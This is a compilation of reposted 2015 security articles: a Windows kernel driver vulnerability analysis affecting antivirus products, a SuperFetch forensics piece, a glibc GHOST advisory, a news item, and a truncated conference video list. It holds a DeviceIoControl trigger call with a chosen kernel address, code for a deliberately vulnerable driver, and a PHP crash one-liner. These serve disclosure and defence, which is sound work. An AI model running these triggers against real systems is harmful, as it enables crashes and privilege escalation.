Analysis Of An Interesting Windows Kernel Change Mitigating Vulnerabilities In Some Security Products Posted by Parvez on January 28, 2015 Last year I started researching into the Windows kernel to get a better understanding of privilege escalation vulnerabilities. Vulnerabilities in the kernel are a serious issue as they could be used to bypass browsers sandboxes and end up compromising the entire system. In general most people assume that security products are developed with security in mind and can be trusted, so I thought I would start my assessment on security products and see how secure they really are from kernel attacks. Within a couple of months of research six vulnerabilities had already been discovered in various products from different vendors. What was particularly interesting is that they all exhibited the same type of vulnerability, which only seemed to exist on older operating systems. This blog post details the technical research carried out in order to pinpoint the root cause as to what had changed from Windows XP and Windows Server 2003 to later Windows operating systems. The vulnerability The vulnerability exists when drivers do not validate the output buffer address and output buffer size. Applications wanting to talk to the kernel communicate through the use of theDeviceIOControl function. DeviceIoControl(hDevice, 0x00222000, inbuffer, BUFSIZE, (LPVOID)0xF4F5F6F7, 0, &dwRetBytes, NULL);In this example we can see two things of interest, first is that using LPVOID we can send in a hardcoded output buffer address and second is the output buffer length has been defined to 0. Sending this to a vulnerable driver will trigger a bugcheck. Debugger Output In the bugcheck analysis below the write address is the same as passed through the DeviceIOControl function, which basically means we have found an arbitrary memory overwrite vulnerability. If we look at the call stack, the bugcheck was triggered in function nt!IopCompleteRequest kd> !analyze -v *************************************************************************** * * * Bugcheck Analysis * * * *************************************************************************** PAGE_FAULT_IN_NONPAGED_AREA (50) Invalid system memory was referenced. This cannot be protected by try-except, it must be protected by a Probe. Typically the address is just plain bad or it is pointing at freed memory. Arguments: Arg1: f4f5f6f7, memory referenced. Arg2: 00000001, value 0 = read operation, 1 = write operation. Arg3: 804ec09b, If non-zero, the instruction address which referenced the bad memory address. Arg4: 00000000, (reserved) Debugging Details: ------------------ Could not read faulting driver name WRITE_ADDRESS: f4f5f6f7 FAULTING_IP: nt!IopCompleteRequest+92 804ec09b f3a5 rep movs dword ptr es:[edi],dword ptr [esi] MM_INTERNAL_CODE: 0 CUSTOMER_CRASH_COUNT: 1 DEFAULT_BUCKET_ID: DRIVER_FAULT BUGCHECK_STR: 0x50 PROCESS_NAME: dos_greyhat.exe IRP_ADDRESS: 86593dd8 DEVICE_OBJECT: 866e10f0 LAST_CONTROL_TRANSFER: from 804ec11a to 804ec09b STACK_TEXT: f411baec 804ec11a 86593e18 f411bb38 f411bb2c nt!IopCompleteRequest+0x92 f411bb3c 806f5c0e 00000000 00000000 f411bb54 nt!KiDeliverApc+0xb3 f411bb3c 806f00b3 00000000 00000000 f411bb54 hal!HalpApcInterrupt2ndEntry+0x31 f411bbc8 804e53cc 86593e18 86593dd8 00000000 hal!KfLowerIrql+0x43 f411bbe8 804ec134 86593e18 8659f3e0 00000000 nt!KeInsertQueueApc+0x4b f411bc1c f7e99562 8659f3e0 86594390 86593dd8 nt!IopfCompleteRequest+0x1d8 WARNING: Stack unwind information not available. Following frames may be wrong. f411bc34 804e3767 866e10f0 867cf288 806f0070 ghhpoc+0x562 f411bc44 805682ab 86593e48 8659f3e0 86593dd8 nt!IopfCallDriver+0x31 f411bc58 805771e2 866e10f0 86593dd8 8659f3e0 nt!IopSynchronousServiceTail+0x70 f411bd00 80579705 000007e8 00000000 00000000 nt!IopXxxControlFile+0x611 f411bd34 804de7f8 000007e8 00000000 00000000 nt!NtDeviceIoControlFile+0x2a f411bd34 7c90e514 000007e8 00000000 00000000 nt!KiSystemServicePostCall 0012fe3c 00000000 00000000 00000000 00000000 0x7c90e514 STACK_COMMAND: kb FOLLOWUP_IP: ghhpoc+562 f7e99562 ?? ??? SYMBOL_STACK_INDEX: 6 SYMBOL_NAME: ghhpoc+562 FOLLOWUP_NAME: MachineOwner MODULE_NAME: ghhpoc IMAGE_NAME: ghhpoc.sys DEBUG_FLR_IMAGE_TIMESTAMP: 54b18dfe FAILURE_BUCKET_ID: 0x50_ghhpoc+562 BUCKET_ID: 0x50_ghhpoc+562 Followup: MachineOwner --------- kd> r eax=00000008 ebx=86593dd8 ecx=00000002 edx=00000000 esi=867cf288 edi=f4f5f6f7 eip=804ec09b esp=f411baa8 ebp=f411baec iopl=0 nv up ei pl nz na po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202 nt!IopCompleteRequest+0x92: 804ec09b f3a5 rep movs dword ptr es:[edi],dword ptr [esi] Vulnerable Driver Analysis Reverse engineering the driver the bugcheck is triggered after the call of the functionIofCompleteRequest. The IoCompleteRequest function indicates that the driver has completed all processing for a given IRP and is returning the IRP back to the I/O manager. IRP is an I/O request packet and is how Windows communicates with drivers. The IRP data structure contains information used by drivers. Comparing IRP data Since the goal was to find the root cause as to why this vulnerability only applies to older versions of Windows, I started comparing Windows XP to Windows 7. Setting a breakpoint before our call to the IoCompleteRequest function and looking at the IRP data in WinDbg, we can see UserBuffer contains the address of our output buffer address. One noticeable change was the “Flags” value. Windows XP had a value of 0x70 whereas Windows 7 had a value of 0x60030 In Windows XP ebx contains pointer to IRP kd> dt nt!_irp @ebx +0x000 Type : 6 +0x002 Size : 0x94 +0x004 MdlAddress : (null) +0x008 Flags : 0x70 +0x00c AssociatedIrp : __unnamed +0x010 ThreadListEntry : _LIST_ENTRY [ 0x8650dfb0 - 0x8650dfb0 ] +0x018 IoStatus : _IO_STATUS_BLOCK +0x020 RequestorMode : 1 '' +0x021 PendingReturned : 0 '' +0x022 StackCount : 1 '' +0x023 CurrentLocation : 3 '' +0x024 Cancel : 0 '' +0x025 CancelIrql : 0 '' +0x026 ApcEnvironment : 0 '' +0x027 AllocationFlags : 0xc '' +0x028 UserIosb : 0x0012fe18 _IO_STATUS_BLOCK +0x02c UserEvent : (null) +0x030 Overlay : __unnamed +0x038 CancelRoutine : (null) +0x03c UserBuffer : 0xf4f5f6f7 +0x040 Tail : __unnamedIn Windows 7 esi contains pointer to IRP kd> dt nt!_irp @esi +0x000 Type : 6 +0x002 Size : 0x94 +0x004 MdlAddress : (null) +0x008 Flags : 0x60030 +0x00c AssociatedIrp : <unnamed-tag> +0x010 ThreadListEntry : _LIST_ENTRY [ 0x85257f94 - 0x85257f94 ] +0x018 IoStatus : _IO_STATUS_BLOCK +0x020 RequestorMode : 1 '' +0x021 PendingReturned : 0 '' +0x022 StackCount : 1 '' +0x023 CurrentLocation : 3 '' +0x024 Cancel : 0 '' +0x025 CancelIrql : 0 '' +0x026 ApcEnvironment : 0 '' +0x027 AllocationFlags : 0x6 '' +0x028 UserIosb : 0x0023f7b8 _IO_STATUS_BLOCK +0x02c UserEvent : (null) +0x030 Overlay : <unnamed-tag> +0x038 CancelRoutine : (null) +0x03c UserBuffer : 0xf4f5f6f7 +0x040 Tail : <unnamed-tag>IoCompleteRequest Analysis The exported function IoCompleteRequest in ntoskrnl.exe ends up calling IopCompleteRequest function. We can see on Windows XP that it does a bitwise 40 AND 70 and jumps to the inlined memcpy code which ends up triggering the bugcheck. On Windows 7 we see the bitwise 40 AND 30 takes a different codepath and never hits our memcpy. The “test al, 40h” instruction on Windows 7 branches off to another codepath as its doing a bitwise 40 AND 30 instead of bitwise 40 AND 70 as al=30h on Windows 7 which is from the IRP flags value. IopXxxControlFile Analysis “So what causes the flags value to be 30h instead of 70h?” was my next question. After some investigation I discovered that IopXxxControlFile held the answer. The IopXxxControlFile function had been called earlier in our call stack. This function does a number of checks and validations on the inputs provided such as if addresses are in user space, buffer lengths, etc. and sets up our data in IRP. In this function near the beginning it calls the ProbeForWrite function which checks if the address falls in the user space range and writable. The first thing the function does though is check the output buffer length, if zero it returns back to the IopXxxControlFile function without even checking the output buffer address. The ProbeForWrite function below is from Windows XP but is also the same for Windows 7. Returning back to the IopXxxControlFile function and after a number of checks near the end of the code we see our output buffer address being placed in the IRP UserBuffer field and Flags value being updated to 0x70, all it checks on Windows XP if an output buffer address is available. On Windows 7 we finally discover the root cause as to what has changed in the IopXxxControlFile function. It checks the output buffer length instead of the output buffer address. Since the output buffer length is 0 the flags value does not get set to 0x70 thus mitigating the vulnerability. What do these flags values mean? So what do these values 10h, 30h, 40h and 70h represent? Searching through wdm.h header file I found these definitions: #define IRP_BUFFERED_IO 0x00000010 #define IRP_DEALLOCATE_BUFFER 0x00000020 #define IRP_INPUT_OPERATION 0x00000040The values are set in IopXxxControlFile function by performing an OR operation. So doing an OR on IRP_BUFFERED_IO | IRP_DEALLOCATE_BUFFER produces a value of 30h Converting into code it will look something like this // Windows XP Irp->Flags = IRP_BUFFERED_IO | IRP_DEALLOCATE_BUFFER; Irp->UserBuffer = pBufferOut; if (pBufferOut) Irp->Flags = IRP_BUFFERED_IO | IRP_DEALLOCATE_BUFFER | IRP_INPUT_OPERATION;// Windows 7 Irp->Flags = IRP_BUFFERED_IO | IRP_DEALLOCATE_BUFFER; Irp->UserBuffer = pBufferOut; if (iBufferOutSize) Irp->Flags = IRP_BUFFERED_IO | IRP_DEALLOCATE_BUFFER | IRP_INPUT_OPERATION;When it comes to carry its memcpy operation in IoCompleteRequest function it will look something like this if (Irp->Flags & IRP_BUFFERED_IO) { if ((Irp->Flags & IRP_INPUT_OPERATION) && (Irp->IoStatus.Status != STATUS_VERIFY_REQUIRED) && !(NT_ERROR(Irp->IoStatus.Status))) { RtlCopyMemory(Irp->UserBuffer, Irp->AssociatedIrp.SystemBuffer, Irp->IoStatus.Information); } }Here is it does its bitwise AND operation and dictates its outcome, jump or not to jump. Conditions of a Vulnerable Driver During completion of an IRP the I/O Manager copies the data from the system buffer back to the user’s output buffer if using Buffered I/O method (METHOD_BUFFERED) and the status is of a success or warning. The number of bytes to copy is taken from the Irp->IoStatus.Information field. The following range values indicate error and warning status codes: NTSTATUS codes 0xC0000000 – 0xFFFFFFFF are errors NTSTATUS codes 0x80000000 – 0xBFFFFFFF are warnings In the above code we can see it uses the macro NT_ERROR() to evaluate if not an error status. So if the data is too large for the buffer, the driver completes the IRP with a status STATUS_BUFFER_OVERFLOW (0x80000005), which falls in the warning range, and the Irp->IoStatus.Information will be updated with the buffer size and data copied over. If completed with status STATUS_BUFFER_TOO_SMALL (0xC0000023) which falls in the error range, the I/O Manager does not copy any data back to the output buffer as it sets the Irp->IoStatus.Information to 0. To reproduce a vulnerable driver for testing purposes use this code in your dispatch routine for Buffered I/O. The IoStatus.Information value has to be 1 or more for an overwrite to take place. Irp->IoStatus.Information = 4; Irp->IoStatus.Status = STATUS_SUCCESS; IoCompleteRequest(Irp, IO_NO_INCREMENT); Windows supports three I/O transfer methods, which the driver developer can use for reading and writing data to memory. One method being Buffered I/O where the I/O Manager allocates a system buffer of equal size to the users inputted buffer. For write operations, the I/O manager copies the user’s buffer data into the system buffer. For read operations, the I/O manager copies data from the system buffer to the users output buffer when the IRP completes and then frees the system buffer. Buffered I/O is defined in the driver for example like this CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)So when using METHOD_BUFFERED it copies our system data back to our UserBuffer address when IRP is completed using the IoCompleteRequest function. Fixing a Vulnerable Driver Asking the same question to all the vendors on how they each fixed the issue it was interesting to find different approaches had been taken. One approach was to check if the output buffer address was in the user space if (Irp->UserBuffer > MmHighestUserAddress) { ntStatus = STATUS_INVALID_PARAMETER; }Another approach was to check the size of the output buffer if (iBufferOutSize < sizeof(ULONG)) { ntStatus = STATUS_INVALID_BUFFER_SIZE; } Depending on the dispatch conditions just by changing the status value to an error status is enough to resolve the vulnerability. I would like to thank BullGuard, AVG and K7 Computing for kindly sharing information. A special thanks to BullGuard as they were very helpful and provided a lot more important information which saved me a lot of time on this research. I can’t say the same for the other three vendors: McAfee, Symantec and TrendMicro. All three decided not to share anything; do you see anything confidential in the above code? Published Advisories This table below provides information on the products where this vulnerability had been discovered. [TABLE=width: 624] [TR] [TD=width: 85, bgcolor: #33353D]Vendor[/TD] [TD=width: 185, bgcolor: #33353D]Product[/TD] [TD=width: 75, bgcolor: #33353D]OSVDB[/TD] [TD=width: 150, bgcolor: #33353D]CVE ID[/TD] [TD=width: 85, bgcolor: #33353D]Days[/TD] [TD=width: 104, bgcolor: #33353D]Vendor link[/TD] [/TR] [TR] [TD=width: 85, bgcolor: #33353D]McAfee[/TD] [TD=width: 158, bgcolor: #33353D]Data Loss Prevention[/TD] [TD=width: 67, bgcolor: #33353D]117345[/TD] [TD=width: 123, bgcolor: #33353D]CVE-2015-1305[/TD] [TD=width: 95, bgcolor: #33353D]99[/TD] [TD=width: 104, bgcolor: #33353D]Advisory[/TD] [/TR] [TR] [TD=width: 85, bgcolor: #33353D]Trend Micro[/TD] [TD=width: 158, bgcolor: #33353D]Antivirus Plus Internet Security Maximum Security[/TD] [TD=width: 67, bgcolor: #33353D]115514[/TD] [TD=width: 123, bgcolor: #33353D]CVE-2014-9641[/TD] [TD=width: 95, bgcolor: #33353D]70[/TD] [TD=width: 104, bgcolor: #33353D]Advisory[/TD] [/TR] [TR] [TD=width: 85, bgcolor: #33353D]Symantec[/TD] [TD=width: 158, bgcolor: #33353D]Altiris Client[/TD] [TD=width: 67, bgcolor: #33353D]116082[/TD] [TD=width: 123, bgcolor: #33353D]CVE-2014-7286[/TD] [TD=width: 95, bgcolor: #33353D]59[/TD] [TD=width: 104, bgcolor: #33353D]Advisory[/TD] [/TR] [TR] [TD=width: 85, bgcolor: #33353D]AVG[/TD] [TD=width: 158, bgcolor: #33353D]Internet Security[/TD] [TD=width: 67, bgcolor: #33353D]113824[/TD] [TD=width: 123, bgcolor: #33353D]CVE-2014-9632[/TD] [TD=width: 95, bgcolor: #33353D]26[/TD] [TD=width: 104, bgcolor: #33353D]Release notes[/TD] [/TR] [TR] [TD=width: 85, bgcolor: #33353D]K7 Computing[/TD] [TD=width: 158, bgcolor: #33353D]Ultimate Security Anti-Virus Plus Total Security[/TD] [TD=width: 67, bgcolor: #33353D]113007[/TD] [TD=width: 123, bgcolor: #33353D]CVE-2014-9643[/TD] [TD=width: 95, bgcolor: #33353D]22[/TD] [TD=width: 104, bgcolor: #33353D]None[/TD] [/TR] [TR] [TD=width: 85, bgcolor: #33353D]BullGuard[/TD] [TD=width: 158, bgcolor: #33353D]Antivirus Internet Security Premium Protection Online Backup[/TD] [TD=width: 67, bgcolor: #33353D]114478[/TD] [TD=width: 123, bgcolor: #33353D]CVE-2014-9642[/TD] [TD=width: 95, bgcolor: #33353D]16[/TD] [TD=width: 104, bgcolor: #33353D]Release notes[/TD] [/TR] [/TABLE] Advisories published by some vendors were very unprofessional. Trend Micro had to be advised to correct their description, as they didn’t get it right the first time since it had a number of mistakes and was initially published without consultation. Also the fix applies all the way to Trend Titanium products 2015, which was stated in my vulnerability report but not mentioned in their advisory. For Symantec, well they are not any better. After waiting nearly two months they ended up releasing an advisory advising only to uninstall the driver. Also, their advisory link in their mitigation information section refers to a knowledge base article DOC7993 on how to remove the driver. However, if you take a look as this article it starts off mentioning the MQAC.sys driver and points to a Microsoft link. I had this flagged at the time but no action has been taken. It’s a similar vulnerability so they must have just copied and pasted it without reading it. What is really shocking is that McAfee took 99 days to release an advisory to the public whereas BullGuard took only 16 days. Does that mean if an exploit was made public we would have had to wait 99 days for an update? Also, McAfee failed to mention in their advisory that it also affects Windows Server 2003, which was clearly stated in my vulnerability report as the product is supported on Windows Server 2003. I however did not test it on Windows Server 2003 R2 (32bit) but did reverse engineer ntoskrnl.exe from Windows Server 2003 R2 (64bit) and did have only the address check in the IopXxxControlFile function. There is a 64bit version for McAfee DLP so should be exploitable too. Other Vendors Assessment carried out on some of the security vendors’ products that were not affected from this type of vulnerability are listed below. This is no way an assurance that their products are free from this vulnerability, as there is a possibility some ioctls may have been missed, input buffer sizes may have changed the codepath, device handles not loaded, etc. Agnitum AhnLab Avast Avira BitDefender ClamAV Comodo Emsisoft Eset Fortinet FRISK Software F-Secure G Data Kaspersky Lab Kingsoft Malwarebytes Nano Security Norman Panda Security Sophos TrustPort ThreatTrack Security Webroot Zemana Other Windows Versions Since all my tests were on a fully patched Windows XP SP3 32bit and Windows 7 SP1 32bit I thought I’d check some other operating systems. Checking on Windows Server 2003 SP2 Standard Edition 32bit found to have the same issue as Windows XP and during tests exploited successfully. Windows Server 2003 has still got over 5 months before the end-of-life so for those of you still using Windows 2003 better upgrade to a later operating system if you’ve not already done so. On a clean default installation of Windows Vista 32bit in an unpatched state the output buffer length check had been applied like Windows 7. This means Microsoft did know about this issue and added the check before release. There are plenty of products designed only to run on Windows Servers, which I have not audited, so maybe it’s a good time for researchers to discover some low-hanging fruit. Final thoughts One thing is clear from this research and working with vendors: Just because it’s a big company doesn’t mean you’ll get great service. There are plenty of other vendors doing an excellent job so we should not blindly need to go with the likes of McAfee, Symantec or Trend Micro. Updating machines is a tedious job at times so really we should be focusing on mitigation products like Microsoft EMET and MalwareBytes Anti-Exploit and not be so dependent on constantly updating machines for security. Bottom line is to upgrade to the latest operating systems as it will have a number of mitigations, checks, validations in place that we probably don’t even know about yet keeping us safe. I’ll start submitting the exploits to Exploit-DB in the next few days and tweet you all once published. References http://msdn.microsoft.com/en-us/library/ff550694(v=VS.85).aspx http://msdn.microsoft.com/en-gb/library/cc704588.aspx http://msdn.microsoft.com/en-us/library/ff545693.aspx http://msdn.microsoft.com/en-us/library/windows/hardware/ff548649(v=vs.85).aspx http://doxygen.reactos.org/d6/dfc/ntoskrnl_2io_2iomgr_2irp_8c_source.html http://www.cmlab.csie.ntu.edu.tw/~cathyp/eBooks/WindowsNT/Driver/IRPs.pdf [PDF] http://www.tutorialspoint.com/assembly_programming/assembly_logical_instructions.htm http://blogs.msdn.com/b/doronh/archive/2006/12/12/how-to-return-the-number-of-bytes-required-for-a-subsequent-operation.aspx Sursa: www.greyhathacker.net/?p=818

What is New in Windows Application Execution? Posted by Chad Tilbury Filed under Computer Forensics One of the great pleasures of performing Windows forensics is there is no shortage of application execution artifacts. Application execution tells us what has run on a system and is often the pivot point that reveals important activity on the system. Why was FTP run on this workstation? Is it normal to see execution of winsvchost.exe? Why was a privacy cleaning tool used for the first time during the system owner's last week of work? While undoubtedly useful, our adversaries are more forensic-aware than ever and often take steps to eliminate application execution artifacts. At CrowdStrike we routinelyencounter nation-state groups that attempt to delete Prefetch. Even the popular CCleaner anti-forensics tool defaults to clearing Prefetch and UserAssist data. Hence having additional sources of data can often mean the difference between an easy examination and a long, painful one. UserAssist, Muicache and Prefetch have been long understood and even significantly upgraded in newer versions of Windows. Jared Atkinson and Yogesh Khatri provided excellent updates on Prefetch changes in Windows 8. More recently, Andrew Davis documented the Application Compatibility Cache (Shimcache) and Corey Harrell posted information on the RecentFileCache.bcf file. Yogesh Khatri followed up with Amcache.hve, the replacement to RecentFileCache.bcf in Windows 8. All of these artifacts have particular strengths and weaknesses, but one we haven't heard much about lately is SuperFetch. SuperFetch SuperFetch has been on the forensic radar since the preview versions of Windows Vista. It was lauded as an upgrade to the venerable Prefetch with the promise to proactively optimize application memory with regards to time and usage scenarios. The applications you use first thing in the morning are often different than those after lunch and perhaps different still from those run after work hours. It is important to note that it does not replace the Prefetch service. SuperFetch must have had the desired effect on performance as Microsoft chose to continue its use in Windows 8.1 and Windows 10.SuperFetch consists of a series of "Ag*.db" database files located in the %SystemRoot%\Prefetch folder. It is wildly complicated with a variety of different header formats for different databases, versions and architectures (x86 and x64) of Microsoft operating systems. On systems with SSD drives, it may be turned off by default (similar to Prefetch). There are still many gaps in our knowledge of SuperFetch, but it feels like the community is inching closer. Joachim Metz started a specification document for the format In April of 2014 as part of thelibyal documentation project. However, the number of "Unknown" values in the document make it clear that we have a way to go in developing a true understanding. Parsing SuperFetch SuperFetch tracks "performance scenarios" and is specifically designed to anticipate frequently run applications after system activity like standby mode, hibernation, and fast-user switching. It records the set of memory pages used over a long period of time, allowing it to model user behavior and make better decisions about when to pre-load application data into memory. It is these databases recording what has been loaded in the past that we can take advantage for application execution artifacts. We can currently derive the following information: Application executable names Execution count Foreground count Supporting files (includes the full paths of a wide range of files that have been mapped into memory including DLLs, zip files, documents, database files, and files and folders present on removable media, the Recycle Bin, temp folders, and even Volume Shadow Copies and encrypted volumes) Volumes accessed (example: HardDiskVolume1) Full path information providing data on folders present on various volumes access by the system Timeframes of application activity Timestamp (from the AgAppLaunch database - purpose unknown but appears to not be reliably tied to execution time in testing) The timeframes of application activity fall into the following ranges: Weekday 6AM to 12PM Weekday 12PM to 6PM Weekday 6PM to 12AM Weekday Global Weekend 6AM to 12PM Weekend 12PM to 6PM Weekend 6PM to 12AM Weekend Global Curiously there seems to be a blind spot in the 12AM to 6AM range. Good thing so many hackers are working business hours these days! While timeframe information stored by SuperFetch has yet to be vetted for its reliability, it presumably could help identify application activity occurring at strange times. For instance, is it normal to see your company database application accessed over the weekend? Tools The first tools that I became aware of for parsing SuperFetch were released by TMurgent. Superfetchlist.exeis a CLI tool providing full path information for files referenced in the various SuperFetch databases.SuperFetch Tree is a clever GUI application that provides a graphical tree structure and neatly identifies what databases a given file or folder were referenced within. A few days ago I posted on the CrowdStrike blog about the latest version of the free CrowdResponse tool now supporting Prefetch, Shimcache, and SuperFetch application execution artifacts. CrowdResponse includes a SuperFetch module providing the most solid and useful data from this artifact that I have seen. It is the brainchild of research and development by Alex Ionsecu and Robin Keir and can be used for live data collection or run against databases files exported from a system or forensic image. CrowdResponse parses data from the AgAppLaunch.db SuperFetch database and provides output in XML, CSV, or HTML. The tool extracts an abundance of application execution information, execution counts, and timeframe information. Conclusion It is exciting to have the capability to parse yet another Windows application execution artifact. However, given the state of our knowledge of SuperFetch, I recommend taking a cautionary approach to interpreting data found within these files. There is still much to be discovered, and the good news is that early indications show this artifact will likely continue to exist in Windows 10. Hopefully with more eyes on the databases we can get more comfortable with the available data and continue to learn more. References: [1] Forensics Wiki: SuperFetch [2] Inside the Windows Vista Kernel: Part 2 [3] Windows SuperFetch (DB) Format from libyal Project [4] SuperFetch Tools from TMurgent [5] CrowdResponse with @superfetch plugin Chad Tilbury, GCFA, serves as a Technical Director for CrowdStrike and has spent over fifteen years conducting computer crime investigations ranging from hacking to espionage to multi-million dollar fraud cases. He is a Senior Instructor and co-author of FOR408 Windows Forensics and FOR508 Advanced Computer Forensic Analysis and Incident Response at the SANS Institute. Find him on Twitter @chadtilbury. Sursa: http://digital-forensics.sans.org/blog/2015/01/28/whats-new-in-windows-application-execution

Critical “GHOST” Vulnerability Released By Marc-Alexandre Montpas on January 28, 2015 . 3 Comments A very critical vulnerability affecting the GNU C Library (glibc) is threatening Linux servers for a remote command execution. This security bug was discovered by Qualys security researchers and will probably cause a lot of headaches to those who won’t update right away. Where does the issue come from? This is a buffer overflow issue in glibc’s function __nss_hostname_digits_dots(), which is itself used by multiple others like gethostbyname() and gethostbyname2(). This is a critical issue as these functions are used in an enormous amount of software and server-level mechanisms. An attacker would need to send a very specific set of bytes to the function in order to trigger the bug and attempt to get command execution privileges on the victim’s server. What does it affect exactly? So far, these applications have been proven to fall to the aforementioned attack: clockdiff procmail (through its comsat/biff feature) pppd Exim mail server (if configured with the “helo_verify_hosts” or “helo_try_verify_hosts” options) We also have good reasons to believe PHP applications might also be affected, through itsgethostbyname() function wrapper. An example of where this could be a big issue is within WordPress itself: it uses a function named wp_http_validate_url() to validate every pingback’s post URL: …and it does so by using gethostbyname(). So an attacker could leverage this vector to insert a malicious URL that would trigger a buffer overflow bug, server-side, potentially allowing him to gain privileges on the server. Update as soon as possible! This is a very critical vulnerability and should be treated as such. If you have a dedicated server (or VPS) running Linux, you have to make sure you update it right away. We know for a fact that Centos/RHEL/Fedora 5,6,7 as vulnerable, as well as some Ubuntu versions. As a quick test, if you run the following PHP code on your terminal: php -r '$e="0";for($i=0;$i<2500;$i++){$e="0$e";} gethostbyname($e);' Segmentation fault And get a segmentation fault, it means your server is vulnerable. Be sure to watch for your distribution’s fix for the patch (yum update is your friend). Sursa: Critical “GHOST” Vulnerability Released | Sucuri Blog

Google Fixed GHOST Exploit in Chrome OS in 2014 and Didn't Tell Anyone This is just a mistake on Google's part, most likely Details about a GLIBC vulnerability were published a couple of days ago by a company called Qualys, and the distributions using it have already received patches. Now, it seems that Google knew about this problem, patched it in ChromeOS a year ago, and forgot to say anything to anyone. Things are pretty clear in the open source world. When someone finds a vulnerability, exploit, or any kind of issues, that person or entity usually informs everyone else about it. That's the reason why CVE (Common Vulnerabilities and Exposures) exists so that everyone can patch their systems accordingly and keep their systems safe. All kinds of problems are found almost on a daily basis. Users don't usually hear about them because they are not major issues and they are patched very quickly. This happens in the open source world, with Linux systems and alike. There is a completely different ball game with proprietary software. From time to time, a big one is found and everyone knows about it. Many of you have heard of Heartbleed or Shellshock. This is a general rule, although it's not always true. If you hear about it, then it's probably important. Which brings us to GHOST, a GLIBC vulnerability. Despite what you might think, it's not a really big deal, but that's not the issue here.Google knew about it since 2014 As usual, Reddit is here to the rescue. A user noticed that a patch for this problem was already present in Chrome OS back in 2014, which begs the question: why are the rest of us just hearing about this now? Moreover, a German website, heise.de, proved that Chrome OS had the patch since April 2014, which is actually a problem because it didn't spread any farther than that. "The comit message clearly states they were aware of the vulnerability nature of this fix: 'glibc: backport an nss overflow patch. This beckports a patch to fix a nss vulnerability inside glibc. I'm CC-ing the committer. Maybe we can shed some light on this. Two people having fixed this in different places without crying alarm - it's worrying," wrote journalist Hanno Böck on a security-related mailing list. Most likely, this is just a mistake and Google didn't do this on purpose, but it does raise another question. How many more of these unreported and solved problems are there? This is just breaking and Google has yet to say anything. Stay tuned, we might have some more information about this subject soon. By Silviu Stahie Sursa: Google Fixed GHOST Exploit in Chrome OS in 2014 and Didn't Tell Anyone - Softpedia

Shmoocon 2015 Videos Videos from Shmoocon 2015, held in Washington DC, January 16-18, 2015. These are the full videos recorded and available from the event, put into one item to allow playlisting. Individual talk items are currently available as well. This movie is part of the collection:Hacker Conferences Language:English Individual Files [TABLE=class: fileFormats table table-striped table-condensed table-hover table-bordered, width: 1338] [TR] [TH=class: ttlHeader, align: left]Movie Files[/TH] [TH=align: left]Animated GIF[/TH] [TH=align: left]MPEG4[/TH] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]0wn the Con [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]247.4 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]5 Usability [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]69.8 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Analyzing POS Malware [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]165.0 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Ask EFF [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]334.9 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Automated Binary Analysis with Pin and Python [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]175.1 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]BIOS Bugs [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]96.6 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Closing Remarks [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]344.6 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Cockroach Analysis [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]200.5 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]College Hacking [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]175.8 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Come to the Dark Side [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]139.9 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Crypto [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]130.4 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Dark Art of Data Visualization [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]165.2 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Deception for the Cyber Defender [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]185.2 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Eliminating Timing Side Channel Attacks [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]157.2 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Get off my lawn [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]360.1 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]How Random Is Your RNG [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]202.3 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Infrastructure Tracking [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]474.3 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Keynote [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]272.5 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Knock Knock [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]140.0 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Malicious Image Spam [sC2015].mp4[/TD] [TD=align: left]??B [/TD] 